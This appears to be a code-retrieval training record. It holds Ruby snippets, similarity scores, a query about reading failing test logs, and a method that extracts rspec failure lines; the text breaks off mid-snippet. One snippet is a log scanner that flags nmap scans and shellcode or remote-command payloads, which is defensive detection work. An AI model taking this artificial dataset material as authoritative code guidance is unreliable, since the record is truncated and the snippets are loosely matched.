venue=Venue.new, start_time=\"2012-07-04T19:00:00-0700\", end_time=\"2012-07-04T19:00:00-0700\", description=\"\", privacy_type = \"FRIENDS\")\n #@event = Event.create(:user_id => @user.id, :date_time, :email_invitees, :facebook_id, :facebook_invitees, :description, :google_id, :loacation_id)\n\n=begin\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n=end\n end", "def update\n if @clock_event.update(clock_event_params)\n render json: @clock_event, status: :ok, location: clock_event_params\n else\n render json: @clock_event.errors, status: :unprocessable_entity\n end\n end", "def update (url, response, timestamp)\n \n @semaphor.synchronize(){||\n if @cache.has_key?(url)\n # then this url is already in the cache and we simply update the timestamp\n new_entry = CacheEntry.new(url, response, timestamp)\n @cache[url] = new_entry\n else\n new_entry = CacheEntry.new(url, response, timestamp)\n # ensure that this object is not too large\n return if new_entry.response.bytesize() > max_object_size \n # remove items from the cache until this new entry fits.\n while @current_load + new_entry.response.bytesize() > max_load do\n evict()\n end\n @current_load = @current_load + new_entry.response.bytesize()\n @cache[url] = new_entry\n end\n }\n end", "def update\n @event = Event.find(params[:id])\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def after_create(r)\n expire_cache_for(r)\n end", "def save_event(event)\n method = event.new_event? ? :post : :put\n body = event.use_quickadd? ? nil : event.to_json\n notifications = \"sendNotifications=#{event.send_notifications?}\"\n query_string = if event.use_quickadd?\n \"/quickAdd?#{notifications}&text=#{event.title}\"\n elsif event.new_event?\n \"?#{notifications}\"\n else # update existing event.\n \"/#{event.id}?#{notifications}\"\n end\n\n send_events_request(query_string, method, body)\n end", "def update\n respond_to do |format|\n if @base_event.update(base_event_params)\n format.json { head :no_content }\n else\n format.json { render json: @base_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n event = params\n # This assumes that all keys exists. Yay no error handling...\n toSave = Event.new(update_type: event[:event],\n start_time: event[:payload][:event][:start_time_pretty],\n end_time: event[:payload][:event][:end_time_pretty],\n location: event[:payload][:event][:location],\n invitee_name: event[:payload][:invitee][:name],\n duration: event[:payload][:event_type][:duration],\n event_kind: event[:payload][:event_type][:kind])\n toSave.save\n render json: {}, status: 200\n end", "def after_update(record)\n expire_cache_for(record)\n end", "def after_update(record)\n expire_cache_for(record)\n end", "def set_event\n @event = eager_event.find(params[:id])\n end", "def after_update(place)\n expire_cache_for(place)\n end", "def resubmit\n @old_event = Event.find(params[:id])\n @event = Event.new\n end", "def update\n respond_to do |format|\n if @event.update Fenix::Store::Converter::Flattener.event params[:event]\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def _save_refresh\n super\n recalculate_values_hashes\n end", "def flush_cache; end", "def updated_data; end", "def fired_event(event)\n history << event\n update_task_status(event)\n end", "def update_event(event)\n\t\teventDataset = @DB[:events].where(id: event.get_id)\n\t\tattendeeDataset = @DB[:attendees].where(parent_id: event.get_id)\n\n\t\t#if there are any missing attendees from the attendee table, add them\n\t\tevent.get_attendees.each do |attendee|\n\t\t\tif attendeeDataset.where(name: attendee.get_name).empty?\n\t\t\t\tpersist_attendee(attendee, event.get_id)\n\t\t\tend\n\t\tend\n\tend", "def set_event\n begin\n @event = Event.find(params[:id])\n rescue\n return render json: {}, status: 404\n end\n end", "def update(date)\n remove date\n Calendar.create_new_events if all.count <= 1\n end", "def fired_event(event)\n history << event\n\t update_task_status(event)\n end" ]
[ "0.6664616", "0.6664616", "0.6602877", "0.65721714", "0.6528613", "0.6528613", "0.6523786", "0.6523786", "0.624752", "0.61844945", "0.61637074", "0.6154492", "0.61538225", "0.60451144", "0.60427094", "0.60334074", "0.59853446", "0.5957249", "0.59554005", "0.5950356", "0.59052545", "0.58933944", "0.5885576", "0.5883518", "0.58755803", "0.58512706", "0.58457375", "0.5827671", "0.5793551", "0.5767283", "0.5761543", "0.575325", "0.5749674", "0.5749674", "0.5692365", "0.5692365", "0.5690255", "0.56730515", "0.56730515", "0.567213", "0.5672089", "0.5668029", "0.5666221", "0.5661592", "0.5661463", "0.5660109", "0.5655356", "0.5627938", "0.5627795", "0.56265193", "0.56149435", "0.56137", "0.56050926", "0.5600301", "0.55962557", "0.5580267", "0.5574708", "0.5574708", "0.5563848", "0.55500937", "0.55409193", "0.5526645", "0.55223364", "0.552117", "0.5520493", "0.55178255", "0.551463", "0.5513436", "0.55132306", "0.55116874", "0.5510679", "0.5484245", "0.5483372", "0.54785806", "0.5478462", "0.54687446", "0.5468719", "0.5466636", "0.5453665", "0.5451544", "0.54472333", "0.5441035", "0.54329675", "0.542081", "0.54184836", "0.5417405", "0.5413467", "0.5410651", "0.5410651", "0.5397704", "0.539635", "0.53916806", "0.5388263", "0.53865427", "0.5384489", "0.538303", "0.5380732", "0.5377111", "0.5371941", "0.5357901", "0.5357448" ]
0.0
-1
Read the failing log from our test stack
def read_failing_log() failed_files = [] # Read in the file file = File.readlines(@failing_log) # Get lines which begin with rspec file.each do |line| if line =~ /rspec \.\// # Get the file name only failed_files << get_error_info(line) end end return failed_files end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def log\n File.read(SPEC_LOG) rescue \"\"\n end", "def log_and_fail_test(exception)\n @logger.error(exception.inspect)\n bt = exception.backtrace\n @logger.pretty_backtrace(bt).each_line do |line|\n @logger.error(line)\n end\n @test_status = :error\n @exception = exception\n end", "def test_bad_log_file\n FileUtils.rm_rf('test/test_fq/_log')\n assert(! @fq.verify_store, 'Failed to verify as false')\n assert_equal('bad queue dir: file \\'_log\\' does not exist', @fq.last_error, 'Failed to have correct error message')\n end", "def read_log\n file.read(log_path) if log_present?\n end", "def fail(message) [:fail, message.to_s, line, file]; end", "def failed(event)\n if logger.debug?\n log_debug(\"#{prefix(event)} | FAILED | #{event.message} | #{event.duration}s\")\n end\n end", "def read_error_log_from (path)\n\n raise \"no error log file at #{path}\" unless File.exist?(path)\n\n File.open(path) do |f|\n s = YAML.load_stream(f)\n s.documents\n end\n end", "def failure(log_data = nil)\n results false, log_data\n end", "def test_class_read_basic \r\n assert_nothing_raised{ EventLog.read{ break } } \r\n assert_nothing_raised{ EventLog.read(\"Application\"){ break } }\r\n assert_nothing_raised{ EventLog.read(\"Application\", nil){ break } }\r\n assert_nothing_raised{ EventLog.read(\"Application\", nil, nil){ break } }\r\n assert_nothing_raised{ EventLog.read(\"Application\", nil, nil, 10){ break } } \r\n end", "def test_tail\r\n assert_respond_to(@log, :tail)\r\n assert_raises(EventLogError){ @log.tail } # requires block\r\n end", "def dev_error_filepath\n \"parse_logs/#{study_file.id}/log.txt\"\n end", "def find_broken_src_from_log( file )\n broken_src = []\n IO.foreach(file) do |line|\n if is_src?(line)\n src = extract_src(line)\n broken_src << src\n elsif is_time?(line)\n broken_src.pop\n end\n end\n broken_src\nend", "def cucumber_failures(log)\n\t\tlog.scan(/(\\(::\\) failed steps \\(::\\).+?)(Failing Scenarios:.+?Scenario:[^\\n\\r]+)\\n\\n/m).flatten\n\tend", "def get_error_log (wfid)\n\n path = get_path(wfid)\n\n return [] unless File.exist?(path)\n\n read_error_log_from(path)\n end", "def dump_failures(notification)\n failure_notifications = notification.failure_notifications\n return if failure_notifications.empty?\n\n failure_notifications.each do |failure|\n exception = failure.exception\n next unless exception\n\n sauce_test_link = failure.example.metadata[:sauce_test_link]\n next unless sauce_test_link\n\n # Use nonbreaking space to bypass message.strip and ensure we have\n # a newline after the message and before the stack trace.\n nbsp = \"\\u00A0\"\n message = \"#{exception.message}\\n#{sauce_test_link}\\n#{nbsp}\"\n exception.instance_eval <<-RUBY\n def message\n %q(#{message})\n end\n\n def to_s\n message\n end\n RUBY\n end\n\n # Use default RSpec logic to format the failures now that we've\n # attached the Sauce test link to the exceptions\n super\n end", "def test_load_stream_with_malformed_lines\n @stream.write(\"This isn't a valid activity line\\n\")\n @stream.rewind\n timelog = Timelog.load_stream(@stream)\n assert_equal([], timelog.activities)\n end", "def teardown_log_error_stub\n ExceptionHandling.stub_handler = nil\n return unless @exception_whitelist\n\n @exception_whitelist.each do |pattern, match|\n unless match[:expected] == match[:found]\n message = \"log_error expected #{match[:expected]} times with pattern: '#{pattern.is_a?(Regexp) ? pattern.source : pattern}' found #{match[:found]}\"\n\n if is_mini_test?\n flunk(message)\n else\n add_failure(message)\n end\n end\n end\n end", "def test_read_bad_file\n assert_raises SystemExit do\n assert_output 'File does not exist', @verify.read('sample_test.txt')\n end\n end", "def error_log\n end", "def error_log\n end", "def error_log\n end", "def readAfterSkip()\n r = nil ;\n while(r = @strm.gets())\n break if (!(r =~ /errors/ || r =~ /warnings/)) ;\n end\n return r ;\n end", "def fail(description, message, line, file)\n print yellow(\"F\")\n @details << \"FAILURE - #{test_detail(description, message)} #{line_info(line, file)}\".strip\n end", "def format_failing_test(suite, test, reason, file_path);\n text = format_failure({file_path: file_path, reason: reason})\n format_text_after_step(method(:red), \"\\n\", text)\n end", "def log_error test, message\n $stderr.puts message if Rails.env.development?\n TestResult.new(suite_name: self.class.name, test_name: test, messages: message, error:true).tap do |tr|\n test_results << tr\n end\n message\n end", "def test_logging\n\t$MEMORY_LOG.debug \"Test Memory Log : DEBUG\"\n\t$TIME_LOG.debug \"Test Time Log : DEBUG\"\n\t$MEMORY_LOG.error \"Test Memory Log : ERROR\"\n\t$TIME_LOG.error \"Test Time Log : ERROR\" \nend", "def reader_thread_proc\n begin\n File::Tail::Logfile.tail(@path, :backward => 10) do |line|\n begin\n parse_logline(line)\n rescue Exception => e\n puts \"Malformed log line [#{line}]: #{e}\"\n end\n end\n rescue Exception => e \n puts \"LogReader is dead: #{e}\"\n end\n end", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n \n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def dump_failures\n super\n return if failed_examples.empty?\n if self.class.config[:growl_failures]\n\n msg = failed_examples.each_with_index.map do |example, idx|\n [\"#{idx+1}. it #{example.description}\",\n example.metadata[:execution_result][:exception]]\n end.flatten.join(\"\\n\\n\")\n\n ::Growl.notify_warning msg, {\n :title => \"#{failed_examples.size} specs failed\"\n }.merge(self.class.growlnotify_config)\n end\n end", "def read_logs\n @@logs\n end", "def setup_fail(message)\n puts '-'*50\n message.each { |line| puts line }\n puts '-'*50\n exit\n end", "def failed_example_output(example)\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def consume_stderr(text)\n @@log.warn {\"Unexpected line on stderr: '#{text}'. Verify that scripts are not broken.\"}\n end", "def exception_message(scenario)\n step = scenario.failed?\n return unless step == true\n\n log(\"\\n\\n--------------------------\")\n log(\"Motivo:\\n\")\n log(scenario.exception.message.to_s)\n log(\"--------------------------\\n\\n\")\nend", "def logged_failure!(message)\n Rails.logger.tagged(:ldap) { Rails.logger.error(\"#{message}.\") }\n fail!(message)\n end", "def logCheck(logfile)\n\n numLines = 20\n maxNumLines = 1280\n \n # Use tail to get last lines of logfile\n logfileTail = `tail -n #{numLines} #{logfile}`\n \n #print \"logfileTail: #{logfileTail}\\n\"\n\n print \" logfile: #{logfile}\\n\"\n\n logStatus = logCheckPerfect(logfileTail)\n if logStatus == \"perfect\" then\n print \"PERFECT\\n\"\n return logStatus\n end\n\n while numLines <= maxNumLines do\n\n print \" numLines: #{numLines}\\n\"\n logStatus = logCheckUsable(logfileTail)\n if logStatus == \"usable\" then\n print \"USABLE\\n\"\n return logStatus\n elsif logStatus == \"broken\" then\n print \"BROKEN\\n\"\n return logStatus\n end\n\n # Exponentially increase the tail segment until all restart files are found\n numLines *= 2\n logfileTail = `tail -n #{numLines} #{logfile}`\n end\n \n print \"UNKNOWN\\n\"\n return \"unknown\"\n \nend", "def failed_example_output example\n full_description = example.full_description\n location = example.location\n formatted_message = strip_message_from_whitespace(example.execution_result.exception.message)\n\n \"#{full_description} - #{location} \\n #{formatted_message}\"\n end", "def failed(err)\n if @last_fail_time + (@interval_time * 1.5) < Time.now\n @fail_count = 0\n @causes = []\n end\n @fail_count += 1\n @last_fail_time = Time.now\n @causes << err\n open!('failure') if @fail_count >= @fail_threshold\n end", "def on_hbread_fail(parms, ticker_data)\n begin\n @log.debug \"Hbreadf Parms #{info(parms)}\"\n @log.debug \"Hbreadf Result #{ticker_data.inspect}\"\n rescue\n @log.debug \"Hbreadf oops\"\n end\n end", "def check_log_messages(container, actual_time)\n\n last_warn = nil\n last_error = nil\n msg_pattern = /^[^\\]]*\\]\\s/ # everything from the beginning till the first ]\n\n # Get container's logs string by string\n currL = nil\n begin\n container.logs(stdout: true, stderr: true, timestamps: true, tail: 10000).each_line do |l|\n currL = l\n\n # Filter out the known errors\n next if (@known_errors.any? { |error| l.include? (error) })\n\n # A tricky way to avoid invalid symbols from Docker\n next if l.size < 30\n\n # Retrieve date (docker returns logs with a garbage before dates, so we have to workaround that - to be fixed)\n #log_time = DateTime.parse(l.gsub(/^.*(?=(20\\d{2}-))/, \"\").split(/\\s/)[0])\n log_time = DateTime.parse(l.gsub(/^[^2]*/, \"\").to_s[0, 19])\n seconds = ((DateTime.now.new_offset(0) - log_time.new_offset(0)) * 24 * 60 * 60).to_i\n\n # Check if the message is not too old\n if seconds < actual_time\n\n # Check message's loggin level\n if l.include? \" WARN \"\n last_warn = l.gsub(msg_pattern, \"\")\n elsif l.include? \" ERROR \"\n last_error = l.gsub(msg_pattern, \"\")\n end\n end\n\n end\n\n # Handle errors\n rescue Exception => e\n last_warn = \"Unparsable logs\"\n\n puts e.message\n puts currL\n puts e.backtrace.inspect\n end\n\n # Gather the results\n log_data = nil\n if !last_warn.nil? || !last_error.nil?\n log_data = Hash.new\n log_data[\"warn\"] = last_warn\n log_data[\"error\"] = last_error\n end\n\n return log_data\n end", "def log_error(exception); end", "def re_stderr\n @logdev.re_stderr\n self\n end", "def SLOOOWtest_jira_dc_312\n File.open(File.dirname(__FILE__) + \"/cvs-dataforge.log\") do |io|\n @parser = CvsLogParser.new(io)\n revisions = @parser.parse_revisions\n \n assert_equal(273, revisions.length)\n end\n end", "def test_class_read_verification\r\n assert_nothing_raised{ @array = EventLog.read }\r\n assert_kind_of(Array, @array)\r\n \r\n record_numbers = []\r\n @array.each{ |log|\r\n assert_not_nil(log.description)\r\n assert_equal(false, record_numbers.include?(log.record_number))\r\n record_numbers << log.record_number\r\n }\r\n end", "def assert_no_valgrind_errors\n return if not @valgrind\n\n errors = 0\n filenames = []\n valgrindlogs = Dir.glob(dirs.valgrindlogdir+\"/*\")\n #assert(valgrindlogs.length > 0, \"No valgrind logfiles found in #{dirs.valgrindlogdir}\")\n\n valgrindlogs.each do |filename|\n IO.foreach(filename) do |line|\n if line =~ /ERROR SUMMARY: (\\S+) errors from (\\S+) contexts/\n if $1.to_i > 0\n errors += 1\n filenames << filename\n end\n end\n end\n end\n assert_equal(0, errors, \"Valgrind logfiles containing errors:\\n#{filenames.join(\"\\n\")} (on #{Socket.gethostname})\")\n end", "def specs_cov_failures(log)\n\t\tlog.scan(/rm -r coverage.+?(1\\).+?Finished in .+?\\n).+(^.+LOC$)/m).flatten.join(\"\\n\").strip\n\tend", "def read_log(log_file = '')\n buffer = ''\n if File.exist?(log_file)\n begin\n File.open(log_file, 'r') do |f| \n while line = f.gets\n buffer << \"#{line}\\n\"\n @last_line = line\n end\n end\n rescue => e\n logger.error \"Something wrong reading log file #{log_file}, #{e.inspect}\"\n end\n end\n buffer.strip\n end", "def test_log_methods\n o = StderrOutputter.new('so1', :level => WARN )\n # test to see if all of the methods are defined\n for mname in LNAMES\n next if mname == 'OFF' || mname == 'ALL'\n assert_respond_to(mname.downcase, o, \"Test respond to #{mname.to_s}\")\n end \n return # cuz the rest is borked\n # we rely on BasicFormatter's inability to reference a nil Logger to test\n # the log methods. Everything from WARN to FATAL should choke.\n event = LogEvent.new(nil, nil, nil, nil) \n assert_no_exception { o.debug event }\n assert_no_exception { o.info event }\n assert_exception(NameError) { o.warn event }\n assert_exception(NameError) { o.error event }\n assert_exception(NameError) { o.fatal event }\n # now let's dynamically change the level and repeat\n o.level = ERROR\n assert_no_exception { o.debug event}\n assert_no_exception { o.info event}\n assert_no_exception { o.warn event} \n assert_exception(NameError) { o.error event}\n assert_exception(NameError) { o.fatal event}\n end", "def stderr_received(data); end", "def failure_reason\n return nil unless (tf = terminal_failures) && tf.size > 0\n\t\"Expected \" +\n\t (tf.size == 1 ?\n\t tf[0].expected_string :\n \"one of #{tf.map{|f| f.expected_string}.uniq*', '}\"\n\t ) +\n \" at line #{failure_line}, column #{failure_column} (byte #{failure_index+1})\" +\n \" after #{input[index...failure_index]}\"\n end", "def get_report\n failures = 0\n while failures < @config.pluginconf.fetch(\"puppetng.max_report_failures\", MAX_REPORT_FAILURES).to_i\n begin\n yaml = YAML.load_file(@lastrunreport_file)\n if yaml.respond_to?(\"logs\")\n return yaml\n end\n rescue\n end\n failures += 1\n sleep 1\n end\n #TODO: mpore specific exception\n raise \"failed to load report YAML\"\n end", "def error_count\n peek(\"#{testbench_top}.debug.errors\").to_i\n end", "def after_failure\n LoggerService.new.clear_file(log_file)\n end", "def report_failure(e)\n # We can use the activity_execution_context method which is available to all\n # classes that extend AWS::Flow::Activities to get the workflow_execution.\n runid = activity_execution_context.workflow_execution.run_id\n puts \"Run Id:#{runid}\"\n puts \"Failure in periodic task:\" + e.backtrace.to_s\n end", "def parseLog log_name\n\tlog_file = File.open(log_name, \"r\")\n\tcount = 1\n\tfor line in log_file\n\t\tfields = (line.scan LOG_REGEX)[0]\n\t\tsource_addr = fields[0]\n\t\tpayload = fields[4]\n\t\thttp_code = fields[5].to_i\n\t\t# Check if nmap is named\n\t\tif line =~ /\\bnmap\\b/i\n\t\t\tputs \"#{count}. ALERT: NMAP scan is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\t\t# Check whether code was in error range (400s)\n\t\tif http_code / 100 == 4\n\t\t\tputs \"#{count}. ALERT: HTTP error is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\t\t# Check both that a shellcode pattern is found, and that a command is attempted\n\t\tif payload =~ SHELL_REGEX and payload =~ REMOTE_REGEX\n\t\t\tputs \"#{count}. ALERT: Shellcode attack is detected from #{source_addr} (HTTP) (#{payload})!\"\n\t\t\tcount += 1\n\t\tend\n\tend\n\tlog_file.close\nend", "def readJson(jsonfile, logkey='')\n data_hash = Mcmlln::Tools.readjson(jsonfile)\n return data_hash\nrescue => logstring\n return {}\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def get_FailureDescription()\n \t return @outputs[\"FailureDescription\"]\n \tend", "def fail\n @counts.fails += 1\n puts_failure_data(header: FAIL_HEADER)\n end", "def error_line(logs)\n logs.select { |line| line.downcase =~ /.*error.*/ }\nend", "def failure_exceptions\n @failure_exceptions ||= []\n end", "def get_junit_line\n\t# Folder for the junit files\n\tfolder = Dir.pwd + \"/junit\"\n\n\t# Junit file\n\tjunit_file = ''\n\tDir.glob(File.join(folder, \"*.xml\")).each do |junit|\n\t\tjunit_file = junit\n\tend\n\n\t# Read junit datas\n\tline_num = 0\n\tFile.open(junit_file).each do |line|\n\t\tif line_num == 1\n\t\t\t# line 2 should be :\n\t\t\t# <testsuite failures=\"1\" errors=\"0\" skipped=\"0\" tests=\"1\" time=\"2.749695\" name=\"I can use login tools\">\n\t\t\treturn line\n\t\tend\n\t\tline_num += 1\n\tend\nend", "def failure(job)\n @logger.info \"Workflow #{self.class.name} has FAILED\"\n end", "def test_failed(array)\n last_item = array.length - 1\n test_name = array[last_item - 2]\n reason = array[last_item].chomp + ' at line: ' + array[last_item - 3]\n test_suite_verify(array[@class_name])\n printf \"%-40s FAILED\\n\", test_name\n\n if test_name.start_with? 'TEST('\n array2 = test_name.split(' ')\n @test_suite = array2[0].sub('TEST(', '')\n @test_suite = @test_suite.sub(',', '')\n test_name = array2[1].sub(')', '')\n end\n\n return unless @xml_out\n\n @array_list.push ' <testcase classname=\"' + @test_suite + '\" name=\"' + test_name + '\">'\n @array_list.push ' <failure type=\"ASSERT FAILED\"> ' + reason + ' </failure>'\n @array_list.push ' </testcase>'\n end", "def parse_log_file0(file)\n File.open(file) { |input|\n input.each_line.inject(Array.new) { |acc, text|\n entry = handling do\n handle MalformedLogEntryError do\n end\n parse_log_entry(text)\n end\n entry ? acc << entry : acc\n }\n }\nend", "def report_failure\n @report.fail\n end", "def report_failure\n @report.fail\n end", "def error(log)\n output.puts log if log_level <= ERROR\n end", "def failure_line\n terminal_failures && input.line_of(failure_index)\n end", "def failure_message\n matching_files = @fixture.files & @local.files\n fixture_only_files = @fixture.files - @local.files\n local_only_files = @local.files - @fixture.files\n buf = \"expected fixture #{@fixture.path} to match files:\\n\"\n (@fixture.files | @local.files).sort.each do |file|\n if matching_files.include?(file)\n local_file = @local.absolute(file)\n fixture_file = @fixture.absolute(file)\n if File.directory?(local_file) && File.directory?(fixture_file)\n # Do nothing\n elsif File.directory?(fixture_file)\n buf << \" #{file} should be a directory\\n\"\n elsif File.directory?(local_file)\n buf << \" #{file} should not be a directory\"\n else\n actual = IO.read(local_file)\n expected = IO.read(fixture_file)\n if actual != expected\n # Show a diff\n buf << \" #{file} does not match fixture:\"\n buf << differ.diff(actual, expected).split(/\\n/).map {|line| ' '+line }.join(\"\\n\")\n end\n end\n elsif fixture_only_files.include?(file)\n buf << \" #{file} is not found\\n\"\n elsif local_only_files.include?(file)\n buf << \" #{file} should not exist\\n\"\n end\n end\n buf\n end", "def failed(message)\n log << \"[FAILURE] #{message}\"\n @failed = true\n end", "def diagnose(filename); end", "def logCheckUsable(logfileTail)\n\n lastFrame = -1\n currentFrame = -1\n fileStatus = Hash[\"finishedRestartVel\" => false,\n \"wroteRestartVel\" => false,\n \"wroteRestartXsc\" => false,\n \"finishedRestartCoor\" => false,\n \"wroteRestartCoor\" => false,\n \"wroteDcd\" => false]\n \n # Use tail to get last lines of logfile \n #print \"logfileTail: #{logfileTail}\\n\"\n tailList = logfileTail.split(\"\\n\").reverse\n\n # Grab the last set of written restart files\n tailList.each do |i|\n if i =~ /FINISHED WRITING RESTART VELOCITIES/ then\n #print \" finishedRestartVel\\n\"\n fileStatus[\"finishedRestartVel\"] = true\n elsif i =~ /WRITING VELOCITIES TO RESTART FILE AT STEP (\\d+)/ then\n #print \" wroteRestartVel\\n\"\n fileStatus[\"wroteRestartVel\"] = true\n currentFrame = $1.to_i\n elsif i =~ /WRITING EXTENDED SYSTEM TO RESTART FILE AT STEP (\\d+)/ then\n #print \" wroteRestartXsc\\n\"\n fileStatus[\"wroteRestartXsc\"] = true\n currentFrame = $1.to_i\n elsif i =~ /FINISHED WRITING RESTART COORDINATES/ then\n #print \" finishedRestartCoor\\n\"\n fileStatus[\"finishedRestartCoor\"] = true\n elsif i =~ /WRITING COORDINATES TO RESTART FILE AT STEP (\\d+)/ then\n #print \" wroteRestartCoor\\n\"\n fileStatus[\"wroteRestartCoor\"] = true\n currentFrame = $1.to_i\n elsif i =~ /WRITING COORDINATES TO DCD FILE AT STEP (\\d+)/ then\n #print \" wroteDcd\\n\"\n fileStatus[\"wroteDcd\"] = true\n currentFrame = $1.to_i\n end\n \n if (lastFrame < 0) & (currentFrame > 0) then\n lastFrame = currentFrame\n elsif lastFrame != currentFrame then\n print \" missing\\n\"\n fileStatus.each_pair do |key,val|\n if !val then\n print \" #{key}\\n\"\n end\n end\n print \" currentFrame: #{currentFrame}\\n\"\n print \" lastFrame: #{lastFrame}\\n\"\n return \"broken\"\n end\n\n fileStatusCount = 0\n fileStatus.each_value do |i|\n if i then\n fileStatusCount += 1\n end\n end\n\n if fileStatusCount == 6 then\n print \" last frame: #{lastFrame}\\n\"\n return \"usable\"\n end\n end\n \n return \"unknown\"\nend", "def file_load_failed(path, exception)\n description = Formatters::ErrorMapper.file_load_failed(path, exception)\n @error_description = description.for_json\n end", "def deploy_log\n if File.exists?(\"tmp/deploy-log.txt\")\n log = File.read(\"tmp/deploy-log.txt\")\n end\n end", "def readOutputHtml(logkey='')\n filecontents = File.read(Bkmkr::Paths.outputtmp_html)\n return filecontents\nrescue => logstring\n return ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def slurp_file_with_detailed_error_reporting(file)\n begin\n File.open(file,'r') { |f|\n t = f.gets(nil) # nil means read whole file\n if t.nil? then t='' end # gets returns nil at EOF, which means it returns nil if file is empty\n return [t,nil]\n }\n rescue\n return [nil,\"Error opening file #{file} for input: #{$!}.\"]\n end\nend", "def format_failed_test(suite, test_case, time)\n text = INDENT + format_test(\"#{test_case} (#{colored_time(time)} seconds)\", :fail)\n format_text_after_step(method(:green), \"\\n\\n\", text)\n end", "def communicate_failure\n File.open(\"#{@options[:output_directory]}/failed.job\", 'w') { |f| f << \"Failed Workflow #{::Time.now} #{@options}\" }\n raise 'Missing required options' unless @options[:url] && @options[:datapoint_id] && @options[:project_id]\n send_status('Failed')\n send_file(\"#{@options[:output_directory]}/run.log\")\n Dir.glob(\"#{@options[:output_directory]}/../reports/*\").each { |f| send_file(f) }\n end", "def log_file; end", "def recover_from_cluster_failure\n params = self.params || {}\n file_args = params[:file_args] || {}\n file0 = file_args[\"0\"] # we require this single entry for info on the data files\n dsid = file0[:dsid] || \"unkdsid\"\n\n # Where we find this subject's results\n out_dsid = \"civet_out/#{dsid}\"\n log_dir = \"#{out_dsid}/logs\"\n\n if File.directory?(out_dsid) && File.directory?(log_dir)\n logfiles = Dir.entries(log_dir)\n badnews = logfiles.select { |lf| lf =~ /\\.(fail(ed)?|running|lock)$/i }\n if badnews.empty?\n self.addlog(\"No 'failed' files found in logs.\")\n else\n self.addlog(\"Removing these files in 'logs' : #{badnews.sort.join(', ')}\")\n badnews.each { |bn| File.unlink(\"#{out_dsid}/logs/#{bn}\") rescue true }\n end\n end\n\n # In case they dropped out of the cache between first setup and failure recovery:\n resync_input_files()\n\n true\n end", "def stacktrace; end", "def processor(testcase, report, mlogger, filter)\n\n $count += 1 #increment serial number\n sleep(2)\n begin\n load testcase\n rescue LoadError => e\n mlogger.startTestCase(testcase)\n mBacktrace = e.backtrace.join(\"\\n\")\n mlogger.logDesc(\"Load test case failure #{testcase}\")\n mlogger.logDesc(e.to_s)\n mlogger.logDesc(mBacktrace)\n class << testcase\n attr :check, true\n attr :pass, true\n attr :response, true\n end\n testcase.check = true\n testcase.pass = false\n testcase.response = e.backtrace.join(\"\\n\")\n report.action += 1\n report.fail_action += 1\n report.fail_testcases[testcase] = 1\n processReport({:timeStamp => Time.now, :result => testcase, :monitor => []}, mlogger)\n mlogger.endTestCase(testcase)\n return\n rescue => e\n mlogger.startTestCase(testcase)\n mBacktrace = e.backtrace.join(\"\\n\")\n mlogger.logDesc(\"Load test case failure #{testcase}\")\n mlogger.logDesc(e.to_s)\n mlogger.logDesc(mBacktrace)\n class << testcase\n attr :check, true\n attr :pass, true\n attr :response, true\n end\n testcase.check = true\n testcase.pass = false\n testcase.response = e.backtrace.join(\"\\n\")\n report.action += 1\n report.fail_action += 1\n report.fail_testcases[testcase] = 1\n processReport({:timeStamp => Time.now, :result => testcase, :monitor => []}, mlogger)\n mlogger.endTestCase(testcase)\n return\n end\n\n curTest = Model::TestCase.instance\n mlogger.startTestCase(testcase)\n mlogger.logDesc(curTest.description)\n monitors = curTest.monitor || []\n rData = []\n enviornment = {:file => mlogger.log_path}\n\n monitors.each do |y|\n begin\n Timeout::timeout(y.timeOut) do\n y.set(enviornment) if y.respond_to?(:set)\n y.run\n end\n rescue Timeout::Error\n end\n end # set monitor\n\n [curTest.setup, curTest.action, curTest.teardown].flatten.compact.each do |x|\n report.action += 1\n mlogger.startAction\n\n begin\n next if (filter && filter.include?(x.class))\n\n begin\n Timeout::timeout(x.timeOut) { x.run }\n rescue Timeout::Error\n class << x\n attr :check, true\n attr :pass, true\n attr :response, true\n end\n x.check = true\n x.pass = false\n x.response = \"Step time out #{x.timeOut}\"\n rescue => detail\n class << x\n attr :check, true\n attr :pass, true\n attr :response, true\n end\n x.check = true\n x.pass = false\n x.response = detail.message + detail.backtrace.join(\"\\n\")\n ensure\n rData.push({:timeStamp => Time.now, :result => x, :monitor => []})\n end # execution\n\n # push system verfication\n #systemCheck.map. each do |z|\n # rData.push({:timeStamp => Time.now, :result => z, :monitor => []})\n #end\n rescue\n puts $!\n end\n end\n\n need_to_dump = has_error?(rData)\n monitors.each do |y|\n begin\n y.set(:dump => true) if (need_to_dump && y.respond_to?(:set))#always report for now\n Timeout::timeout(y.timeOut) { y.fetch }\n rescue Timeout::Error\n end\n end\n if need_to_dump then\n rData.select do |mfilter|\n begin\n mfilter[:result].check && !mfilter[:result].pass\n rescue NoMethodError\n false\n end\n end.each do |z|\n report.fail_action += 1\n report.fail_testcases[testcase] = 1\n processReport(z,mlogger)\n end\n end\n\n mlogger.endTestCase\n report\nend", "def stack_trace; end", "def log_fitting_failures\n\n @logger.info { \"fitting failures by type:\" }\n\n @failures.each_key do |k|\n\n @logger.info { FAILURE_REASONS[k] + \": \" + @failures[k].to_s }\n\n end\n\n end", "def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = 